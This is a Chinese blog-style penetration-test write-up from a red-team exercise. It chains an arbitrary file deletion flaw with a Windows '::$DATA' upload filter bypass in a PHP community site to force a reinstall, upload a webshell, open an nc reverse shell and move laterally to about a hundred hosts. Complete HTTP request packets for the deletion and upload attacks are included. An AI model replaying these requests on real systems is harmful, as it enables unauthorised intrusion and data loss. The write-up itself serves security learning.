只进入你的身体,不进入你的生活之 MySQL 注入
前言:
是这样的,在某次省 hw 的时候,对目标进行打点的时候,发现 ip 下存在四个域名,在一个域名中发现了 beifen.zip 文件,而网址的功能是一个社区类型的网址。seoss.oss-cn-shanghai.aliyuncs.com/wp-content/uploads/1970/01/beepress-image-156534-1617765382.png" style="margin:10px 0px;padding:0px;box-sizing:border-box;border-width:1px;border-style:solid;border-color:#EEEEEE;image-rendering:-webkit-optimize-contrast;max-width:90%;max-height:90%;cursor:zoom-in;" />
下载后打开,发现是程序的源码,sql 文件都在里面。
找程序中找到的数据库的 ip、账号、密码等信息,试试能不能连接。
审计源码,发现漏洞
既然连接不上,那么只能审计一下源码了,先拿工具扫一下。
经过查看,发现/application/index/controller/system/SystemUpgradeclient.php
中的setcopydel
方法可以任意提交参数。
可以看到以 post 方式接收了俩个参数,一个是id
,一个是ids
if (is_array($post['ids'])) { foreach ($post['ids'] as $file) { $fileservice->del_dir(ROOT_PATH . 'public' . DS . 'copyfile' . $file); } } if ($post['id']) { $copyFile = ROOT_PATH . 'public' . DS . 'copyfile' . $post['id']; // echo $copyFile;exit; $fileservice->del_file($copyFile); }
ids
是需要数组的,然后拼接路径,传入$fileservice->del_dir()
方法中。
id
没有类型判断,直接拼接路径传入$fileservice->del_file()
方法中。
那来看看这俩个方法中做了什么事情。
$fileservice->del_dir()
方法是删除目录
删除目录,看来这是一个任意文件删除漏洞,分析下源码。
static function del_dir($dirName) { if (!file_exists($dirName)) # 判断文件或目录是否存在,不存在就返回false { return false; } $dir = opendir($dirName); # 打开一个目录,读取它的内容 while ($fileName = readdir($dir)) { $file = $dirName . '/' . $fileName; if ($fileName != '.' && $fileName != '..') { if (is_dir($file)) # 判断是不是目录,是目录就在调用一次本身方法 { self::del_dir($file); } else { unlink($file); # 删除文件 } } } closedir($dir); return rmdir($dirName); # 删除目录 }
$fileservice->del_file()
方法是删除文件
这就没有什么好说的了,判断文件是否存在,然后删除。但是,这是 hw 啊,这漏洞什么用都没有啊,只能继续找其他漏洞了。
经过漫长的查找终于在applicationadmincontrollersettingSystemConfig.php
中的发现了view_upload
上传的方法。
这个方法中,type
为 3 的时候是上传文件的,然后传入Upload::file
方法。
但是在这个方法中判断了后缀名不能为php
,但是在 win 的系统中,可以通过以下的一些方法绕过。
.php. .php(空格) .php:1.jpg .php::$DATA .php::$DATA……. 等等、、、
经过尝试,发现使用1.php::$DATA
这样的方式可以绕过,构造的 post 数据包为:
POST /index.php/admin/setting.system_config/view_upload.html HTTP/1.1 Host: xxx.com Content-Length: 403 Cache-Control: max-age=0 Origin: http://xxx.com Upgrade-Insecure-Requests: 1 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryP7jKNcoemK2sybZb User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.132 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3 Referer: http://xxx.com/index.php/admin/setting.system_config/index_alone?tab_id=1 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: PHPSESSID=es9ef1h1c9i0t21brcrlqigfmt Connection: close ------WebKitFormBoundaryP7jKNcoemK2sybZb Content-Disposition: form-data; name="file" site_logo ------WebKitFormBoundaryP7jKNcoemK2sybZb Content-Disposition: form-data; name="type" 3 ------WebKitFormBoundaryP7jKNcoemK2sybZb Content-Disposition: form-data; name="site_logo"; filename="1.php::$DATA" Content-Type: image/png <?php phpinfo(); ?> ------WebKitFormBoundaryP7jKNcoemK2sybZb--
成功上传文件,但是这个文件上传需要后台登录才能上传,后台之前就已经爆破过了,没有爆破出来账号密码。但是这个程序有install
文件,根据经验知道程序安装文件都会在安装后创建一个文件,来判断是否已经安装,所以在看看是否和我想的一样。
可以看到确实是生成了一个install.lock
文件来判断是否安装成功,那么我们可以通过之前的任意文件删除漏洞来删除这个文件让系统进行重装。
但是这个删除文件,对系统进行重装,这就得问问裁判组能不能让了啊,经常协商,他们觉得这个程序不重要,在能保证不破坏程序的时候可以做。
既然他们说可以了,那么我就小心翼翼的构造一下 post 包,别真的给程序破坏了。
利用漏洞拿到 shell
删除install.lock
文件的数据包:
POST /index.php/admin/system.System_Upgradeclient/setcopydel HTTP/1.1 Host: www.xxx.wang Content-Length: 26 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 Origin: http://www.xxx.wang Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Referer: http://www.xxx.wang/index.php/admin/system.System_Upgradeclient/setcopydel Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: PHPSESSID=8itmp7itfo1va6uu7bu0ouhgos Connection: close id=/../install/install.lock&ids=1
返回值是成功的,看来没有问题,那就到重装系统的时候了,为了不对系统的数据造成破坏,我们对系统安装需要连接的 mysql 放到自己的服务器中。
成功登录后台,然后上传 shell,还是之前的那个数据包,没有什么好说的,拿到 shell 后我用 nc 反弹一下,查看了系统上都有什么程序,发现这个系统上存在五个程序。
既然上来了,那就收集一下信息,然后把流量代理出去扫描一下,结果发现:
只是扫描了一下下而已,这个多弱口令,这稳了,通过这些弱口令在来做横向移动,一共拿下了近百台的机器,得了 3600 分。
最后多说几句:
看到这里的大佬,动动发财的小手 点赞 + 回复 + 收藏,能【 关注 】一波就更好了
我是一名渗透测试工程师,为了感谢读者们,我想把我收藏的一些网络安全/渗透测试学习干货贡献给大家,回馈每一个读者,希望能帮到你们。
干货主要有:
① 2000 多本网安必看电子书(主流和经典的书籍应该都有了)
② PHP 标准库资料(最全中文版)
③ 项目源码(四五十个有趣且经典的练手项目及源码)
④ 网络安全基础入门、Linux 运维,web 安全、渗透测试方面的视频(适合小白学习)
⑤ 网络安全学习路线图(告别不入流的学习)
⑥ 渗透测试工具大全
⑦ 2021 网络安全/Web 安全/渗透测试工程师面试手册大全
各位朋友们可以关注+评论一波 然后加下QQ群:581499282 备注:infoq 联系管理大大即可免费获取全部资料
评论